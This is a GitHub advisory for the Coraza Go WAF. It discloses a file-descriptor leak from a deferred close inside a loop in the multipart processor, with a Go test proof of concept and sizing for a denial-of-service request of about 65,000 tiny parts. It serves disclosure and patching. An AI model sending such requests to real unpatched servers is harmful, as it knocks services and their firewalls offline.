GitHub Advisoryadvisory · Go
GHSA-rp9v-7xv3-r6g3 Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
MEDIUM
Official page ↗
- Aliases
- CVE-2026-107834
- Ecosystem
- Go
- Packages
- github.com/corazawaf/coraza/v3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-400, CWE-772
- Reviewed
- 2026-10-08
Affected packages
• Go github.com/corazawaf/coraza/v3: >= 3.0.0, < 3.8.0 → fixed in 3.8.0
Description
Summary
`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.
Details
`internal/bodyprocessors/multipart.go`, line 69:
```go
for {
p, err := mr.NextPart()
// ...
temp, err := os.CreateTemp(storagePath, "crzmp*")
defer temp.Close() // wrong scope
io.Copy(temp, p)
}
```
Each iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.
The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.
Fix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.
PoC
Tested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.
Add this file at `internal/bodyprocessors/poc_fd_test.go` and run:
```text
go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...
```
```go
package bodyprocessors_test
import (
"fmt"
"os"
"strings"
"sync"
"sync/atomic"
"testing"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func countFDs() int {
e, _ := os.ReadDir("/proc/self/fd")
return len(e)
}
func TestMultipartFDLeak(t *testing.T) {
boundary := "testboundary"
var sb strings.Builder
for i := 0; i < 500; i++ {
fmt.Fprintf(&sb, "--%s\r\n", boundary)
fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
sb.WriteString("\r\n")
sb.WriteString("X\r\n")
}
fmt.Fprintf(&sb, "--%s--\r\n", boundary)
mp, _ := bodyprocessors.GetBodyProcessor("multipart")
baseline := countFDs()
var peak int64
done := make(chan struct{})
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
n := int64(countFDs())
for {
cur := atomic.LoadInt64(&peak)
if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
break
}
}
}
}
}()
v := corazawaf.NewTransactionVariables()
mp.ProcessRequest(strings.NewReader(sb.String()), v,
plugintypes.BodyProcessorOptions{
Mime: "multipart/form-data; boundary=" + boundary,
StoragePath: t.TempDir(),
})
close(done)
wg.Wait()
t.Logf("baseline=%d peak=%d spike=+%d",
baseline, atomic.LoadInt64(&peak),
atomic.LoadInt64(&peak)-int64(baseline))
}
```
Output:
```text
baseline=7 peak=506 spike=+499
```
The spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.
Impact
• No authentication required. Any endpoint that accepts multipart uploads is affected.
• fd exhaustion at ~6.8MB body (~65k parts). `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.
• CRS false positives / DoS. With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.
• Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
• Scope. Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.
Related
Alias · CVE (1)
- CVE-2026-107834 OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. vulnerability